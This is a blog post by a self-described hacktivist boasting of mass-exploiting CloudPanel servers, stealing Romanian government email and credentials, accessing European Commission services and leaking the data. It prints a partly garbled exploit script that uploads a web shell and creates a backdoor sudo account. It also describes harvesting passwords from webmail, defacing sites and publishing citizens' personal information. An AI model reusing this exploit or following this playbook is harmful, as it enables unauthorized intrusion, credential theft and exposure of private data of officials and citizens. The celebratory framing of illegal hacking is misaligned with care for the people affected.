Skip to content

How to easily own a country, and the European Commission (OPRomania)

Posted on:August 29, 2023 at 07:00 PM

This writeup is pretty old (a month old), but was unable to release regarding internal events and kittensec’s lead leaving the team, but it’s here now :3
Feel free to read maia’s blog post about kittensec that provides a bit more information about the leaks themselves.

Here’s how we managed to fully own Romania and the European Commission in a few simple steps.

Table of contents

Open Table of contents

#1: early 0day exploit

I was just browsing the internet a few days prior and a contact from kittensec shared to me a recent CVE for cloudpanel that got leaked right this morning. I decided to look into it and it ended up seem like a really interesting target vector. TLDR, this exploit allowed threat actors to have remote control over the machines that were vulnerable. Since we were pretty early on with this exploit I decided to write a nuclei template for it and scan every cloudpanel server I could find off shodan to try seeing what was vulnerable and get a list of vulnerable servers.

…example of nuclei running - i sadly did not take a screenshot at that moment

Once we got a list of vulnerable IPs, I edited the CVE POC (Proof-Of-Concept) to make it run on all the devices we found, to then take a look at their content later on. I never expected to find anything interesting at this point and was just doing this to fight boredom. We also edited to script to delete the cloudpanel panel, to make sure no one else would be able to get access to those servers.

…shortened version of the exploit

user_add = "useradd kitten -s /bin/bash -b /tmp"
user_passwd = "echo 'Kittensec@1337%0AKittensec@1337' | passwd kitten"
user_mod = "usermod -aG sudo kitten"

gains = ["sudo su -c '"+user_add+"'",'sudo su -c "'+user_passwd+'"',"sudo su -c '"+user_mod+"'"]

def execPHP(txt=False):
    global cmd
    returned_output = ''
    if False == txt:
        proc = subprocess.Popen(cmd.split(' '), stdout=subprocess.PIPE)
        returned_output ='utf-8')
        cmd = cmd + ' ' + txt
        proc = subprocess.Popen(cmd.split(' '), stdout=subprocess.PIPE)
        returned_output ='utf-8')
    return returned_output

def exploit():
    global tgt,default_path,username
    target = 'https://' + tgt.replace('/','')
    ipTarget = tgt.split(':')[0]
    crypto = execPHP()
    cookie = {'clp-fm':crypto}
        request = requests.get(target+default_path,cookies=cookie,verify=False,timeout=5)
        if request.status_code == 200:
            up_data = {'id':'/htdocs/app/files/public/','name':'shell.php'}
            new_ck = {'clp-fm':execPHP(username)}
                new_request ='backend/makefile',cookies=new_ck,data=up_data,verify=False,timeout=5)
                if new_request.status_code == 200:
                    cdata = {'id':'/htdocs/app/files/public/shell.php','content':open('shell.php','rb').read()}
                        crequest ='backend/text',cookies=new_ck,data=cdata,verify=False,timeout=5)
                        if crequest.status_code == 200:
                            pdata = {'id':'/htdocs/app/files/public/shell.php','permissions':'0777'}
                                prequest ='backend/permissions',cookies=new_ck,data=pdata,verify=False,timeout=5)
                                if prequest.status_code == 200:
                                    shell_check = requests.get(target+'/shell.php',verify=False,timeout=5)
                                    if shell_check.status_code == 200:
                                        print(Style.BRIGHT + Fore.GREEN + '[+] WebShell : ' + target+'/shell.php')
                                        for gain in gains:
                                        print(Style.BRIGHT + Fore.GREEN + '[+] SSH Login : user=zeroday,pass=Etharus@1337')
                                print(Style.BRIGHT + Fore.RED+'Connection error while changing permission!')
                        print(Style.BRIGHT + Fore.RED+'Connection error while trying insert contents!')
                print(Style.BRIGHT + Fore.RED+'Connection error while trying creating file!')
            print(Style.BRIGHT + Fore.RED+'Not Vulnerable...')
        print(Style.BRIGHT + Fore.RED+'Connection error!')

And that’s how you gain access to ~10k servers in two easy steps

#2: investigating

When i felt bored again, I decided to look at the list of IPs and server we got access to, and look out for any interesting sites.

Fortunately for us, cloudpanel’s file architecture is pretty easy to understand, so we could find what domains were associated pretty easily.

└── home/
    ├── clp/
    │   └── ..... cloudpanel admin files
    ├── website_name/
    │   └── htdocs/
    │       └──
    │           └── website content
    └── website_name/
        └── htdocs/
                └── website content

I’ve gotten into a few servers and had a bit of fun with them, but I didn’t really find anything of interest at the time, until this specific server. I recognized a few domains ending by, including but not limited to, for example.
I directly understood the importance of it and started backing up everything I could while looking at the data.

Anything interesting in there?

Well… not yet. Besides some databases I didn’t look into yet, it was mostly source code and other random stuff we backed up. But that’s when I looked at the databases that I instantly knew that this was becoming serious. Inside of those were about 50 emails linked to, wich is the webmail that the romanian government officials are forced to use.

Before going in further, we decided to have some fun and decided to deface some of their sites. Sadly, the government recently removed the web archives on, but they should still be available elsewhere if you search enough.

romania's most silly deface

#3: it begins

From then on, we decided to start looking at all the emails, and back everything up so we could leak it.
On those emails, you could mostly find lots of reports and financial information, wich I really found interesting considering how corrupt romania is.

We also found LOTS of IDs and personal identifying information or citizens and cops being shared in emails, wich is not GDPR compliant at all.

We were already really happy about our finds as we managed to dump more than 30GB worth of reports and emails, but right before we decided to leak them, I got the idea to search for "Parola" on the webmails, as this is the direct translation of Password in Romanian.
It turns out that they were indeed not following the rules at all, as we found a lot of emails containing passwords for various other government access, including police car live locations, fuel management for the country, and way more.

At this point, I also thought that we were over with this hack, but I stumbled upon another email containing the europa and parola keyword, wich made me very intrigued. After further research, we realized that it contained credentials to the European Commission extranet SSO panel. We were now not only owning Romania, but also the EU as a whole! :3

Unfortunately for us, there were no real “service list” panel, so I was a little lost, but thanks to google dorking, we could find every service they had under their domains, and then try accessing all of it to see what kind of access we got.

We managed to get access to a fair amount of services that we included in the leak, but most importantly, iRASFF, Europe’s food safety system.

Well, holy fucking bingle, we now own Romania and the EU now! :3
If you are interested in looking trough any of those leaks, these are still up on kittensec’s telegram channel.

If you enjoyed this writeup or any of my work, please feel free to donate to me with Monero. Hacktivism, blogging and music is my only source of income at the moment, and any help would really be appreciated